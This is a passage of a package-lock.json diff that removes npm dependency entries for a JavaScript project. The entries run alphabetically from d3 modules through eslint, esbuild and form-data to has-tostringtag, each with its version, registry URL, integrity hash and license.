"integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", - "license": "ISC", - "dependencies": { - "internmap": "1 - 2" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-color": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", - "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-ease": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", - "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-format": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", - "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-interpolate": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", - "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", - "license": "ISC", - "dependencies": { - "d3-color": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-path": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", - "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-scale": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", - "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", - "license": "ISC", - "dependencies": { - "d3-array": "2.10.0 - 3", - "d3-format": "1 - 3", - "d3-interpolate": "1.2.0 - 3", - "d3-time": "2.1.1 - 3", - "d3-time-format": "2 - 4" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-shape": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", - "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", - "license": "ISC", - "dependencies": { - "d3-path": "^3.1.0" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", - "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", - "license": "ISC", - "dependencies": { - "d3-array": "2 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-time-format": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", - "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", - "license": "ISC", - "dependencies": { - "d3-time": "1 - 3" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/d3-timer": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", - "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/debug": { - "version": "4.4.3", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", - "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, - "node_modules/decimal.js-light": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", - "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", - "license": "MIT" - }, - "node_modules/deep-is": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", - "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/delayed-stream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", - "license": "MIT", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/detect-libc": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", - "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=8" - } - }, - "node_modules/dunder-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", - "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.1", - "es-errors": "^1.3.0", - "gopd": "^1.2.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/electron-to-chromium": { - "version": "1.5.267", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz", - "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==", - "dev": true, - "license": "ISC" - }, - "node_modules/enhanced-resolve": { - "version": "5.18.4", - "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.4.tgz", - "integrity": "sha512-LgQMM4WXU3QI+SYgEc2liRgznaD5ojbmY3sb8LxyguVkIg5FxdpTkvk72te2R38/TGKxH634oLxXRGY6d7AP+Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "graceful-fs": "^4.2.4", - "tapable": "^2.2.0" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/es-define-property": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", - "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-errors": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", - "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-object-atoms": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", - "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-set-tostringtag": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", - "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", - "license": "MIT", - "dependencies": { - "es-errors": "^1.3.0", - "get-intrinsic": "^1.2.6", - "has-tostringtag": "^1.0.2", - "hasown": "^2.0.2" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/es-toolkit": { - "version": "1.43.0", - "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.43.0.tgz", - "integrity": "sha512-SKCT8AsWvYzBBuUqMk4NPwFlSdqLpJwmy6AP322ERn8W2YLIB6JBXnwMI2Qsh2gfphT3q7EKAxKb23cvFHFwKA==", - "license": "MIT", - "workspaces": [ - "docs", - "benchmarks" - ] - }, - "node_modules/esbuild": { - "version": "0.25.12", - "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", - "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "bin": { - "esbuild": "bin/esbuild" - }, - "engines": { - "node": ">=18" - }, - "optionalDependencies": { - "@esbuild/aix-ppc64": "0.25.12", - "@esbuild/android-arm": "0.25.12", - "@esbuild/android-arm64": "0.25.12", - "@esbuild/android-x64": "0.25.12", - "@esbuild/darwin-arm64": "0.25.12", - "@esbuild/darwin-x64": "0.25.12", - "@esbuild/freebsd-arm64": "0.25.12", - "@esbuild/freebsd-x64": "0.25.12", - "@esbuild/linux-arm": "0.25.12", - "@esbuild/linux-arm64": "0.25.12", - "@esbuild/linux-ia32": "0.25.12", - "@esbuild/linux-loong64": "0.25.12", - "@esbuild/linux-mips64el": "0.25.12", - "@esbuild/linux-ppc64": "0.25.12", - "@esbuild/linux-riscv64": "0.25.12", - "@esbuild/linux-s390x": "0.25.12", - "@esbuild/linux-x64": "0.25.12", - "@esbuild/netbsd-arm64": "0.25.12", - "@esbuild/netbsd-x64": "0.25.12", - "@esbuild/openbsd-arm64": "0.25.12", - "@esbuild/openbsd-x64": "0.25.12", - "@esbuild/openharmony-arm64": "0.25.12", - "@esbuild/sunos-x64": "0.25.12", - "@esbuild/win32-arm64": "0.25.12", - "@esbuild/win32-ia32": "0.25.12", - "@esbuild/win32-x64": "0.25.12" - } - }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/eslint": { - "version": "9.39.2", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.2.tgz", - "integrity": "sha512-LEyamqS7W5HB3ujJyvi0HQK/dtVINZvd5mAAp9eT5S/ujByGjiZLCzPcHVzuXbpJDJF/cxwHlfceVUDZ2lnSTw==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@eslint-community/eslint-utils": "^4.8.0", - "@eslint-community/regexpp": "^4.12.1", - "@eslint/config-array": "^0.21.1", - "@eslint/config-helpers": "^0.4.2", - "@eslint/core": "^0.17.0", - "@eslint/eslintrc": "^3.3.1", - "@eslint/js": "9.39.2", - "@eslint/plugin-kit": "^0.4.1", - "@humanfs/node": "^0.16.6", - "@humanwhocodes/module-importer": "^1.0.1", - "@humanwhocodes/retry": "^0.4.2", - "@types/estree": "^1.0.6", - "ajv": "^6.12.4", - "chalk": "^4.0.0", - "cross-spawn": "^7.0.6", - "debug": "^4.3.2", - "escape-string-regexp": "^4.0.0", - "eslint-scope": "^8.4.0", - "eslint-visitor-keys": "^4.2.1", - "espree": "^10.4.0", - "esquery": "^1.5.0", - "esutils": "^2.0.2", - "fast-deep-equal": "^3.1.3", - "file-entry-cache": "^8.0.0", - "find-up": "^5.0.0", - "glob-parent": "^6.0.2", - "ignore": "^5.2.0", - "imurmurhash": "^0.1.4", - "is-glob": "^4.0.0", - "json-stable-stringify-without-jsonify": "^1.0.1", - "lodash.merge": "^4.6.2", - "minimatch": "^3.1.2", - "natural-compare": "^1.4.0", - "optionator": "^0.9.3" - }, - "bin": { - "eslint": "bin/eslint.js" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - }, - "peerDependencies": { - "jiti": "*" - }, - "peerDependenciesMeta": { - "jiti": { - "optional": true - } - } - }, - "node_modules/eslint-plugin-react-hooks": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.0.1.tgz", - "integrity": "sha512-O0d0m04evaNzEPoSW+59Mezf8Qt0InfgGIBJnpC0h3NH/WjUAR7BIKUfysC6todmtiZ/A0oUVS8Gce0WhBrHsA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.24.4", - "@babel/parser": "^7.24.4", - "hermes-parser": "^0.25.1", - "zod": "^3.25.0 || ^4.0.0", - "zod-validation-error": "^3.5.0 || ^4.0.0" - }, - "engines": { - "node": ">=18" - }, - "peerDependencies": { - "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0" - } - }, - "node_modules/eslint-plugin-react-refresh": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.24.tgz", - "integrity": "sha512-nLHIW7TEq3aLrEYWpVaJ1dRgFR+wLDPN8e8FpYAql/bMV2oBEfC37K0gLEGgv9fy66juNShSMV8OkTqzltcG/w==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "eslint": ">=8.40" - } - }, - "node_modules/eslint-scope": { - "version": "8.4.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", - "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/eslint-visitor-keys": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", - "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/espree": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz", - "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.15.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/esquery": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz", - "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==", - "dev": true, - "license": "BSD-3-Clause", - "dependencies": { - "estraverse": "^5.1.0" - }, - "engines": { - "node": ">=0.10" - } - }, - "node_modules/esrecurse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", - "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "estraverse": "^5.2.0" - }, - "engines": { - "node": ">=4.0" - } - }, - "node_modules/estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=4.0" - } - }, - "node_modules/esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/eventemitter3": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", - "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", - "license": "MIT" - }, - "node_modules/fast-deep-equal": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", - "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", - "dev": true, - "license": "MIT" - }, - "node_modules/fdir": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12.0.0" - }, - "peerDependencies": { - "picomatch": "^3 || ^4" - }, - "peerDependenciesMeta": { - "picomatch": { - "optional": true - } - } - }, - "node_modules/file-entry-cache": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz", - "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "flat-cache": "^4.0.0" - }, - "engines": { - "node": ">=16.0.0" - } - }, - "node_modules/find-up": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", - "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", - "dev": true, - "license": "MIT", - "dependencies": { - "locate-path": "^6.0.0", - "path-exists": "^4.0.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/flat-cache": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz", - "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==", - "dev": true, - "license": "MIT", - "dependencies": { - "flatted": "^3.2.9", - "keyv": "^4.5.4" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", - "dev": true, - "license": "ISC" - }, - "node_modules/follow-redirects": { - "version": "1.15.11", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", - "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", - "funding": [ - { - "type": "individual", - "url": "https://github.com/sponsors/RubenVerborgh" - } - ], - "license": "MIT", - "engines": { - "node": ">=4.0" - }, - "peerDependenciesMeta": { - "debug": { - "optional": true - } - } - }, - "node_modules/form-data": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", - "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", - "license": "MIT", - "dependencies": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.8", - "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.2", - "mime-types": "^2.1.12" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/fraction.js": { - "version": "5.3.4", - "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", - "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": "*" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/rawify" - } - }, - "node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/function-bind": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - "license": "MIT", - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/gensync": { - "version": "1.0.0-beta.2", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", - "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/get-intrinsic": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - "license": "MIT", - "dependencies": { - "call-bind-apply-helpers": "^1.0.2", - "es-define-property": "^1.0.1", - "es-errors": "^1.3.0", - "es-object-atoms": "^1.1.1", - "function-bind": "^1.1.2", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-symbols": "^1.1.0", - "hasown": "^2.0.2", - "math-intrinsics": "^1.1.0" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/get-proto": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - "license": "MIT", - "dependencies": { - "dunder-proto": "^1.0.1", - "es-object-atoms": "^1.0.0" - }, - "engines": { - "node": ">= 0.4" - } - }, - "node_modules/glob-parent": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", - "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", - "dev": true, - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.3" - }, - "engines": { - "node": ">=10.13.0" - } - }, - "node_modules/globals": { - "version": "16.5.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz", - "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/gopd": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/graceful-fs": { - "version": "4.2.11", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", - "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/has-symbols": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - "license": "MIT", - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/has-tostringtag": { - "version": "1.0.2", - "resolved": 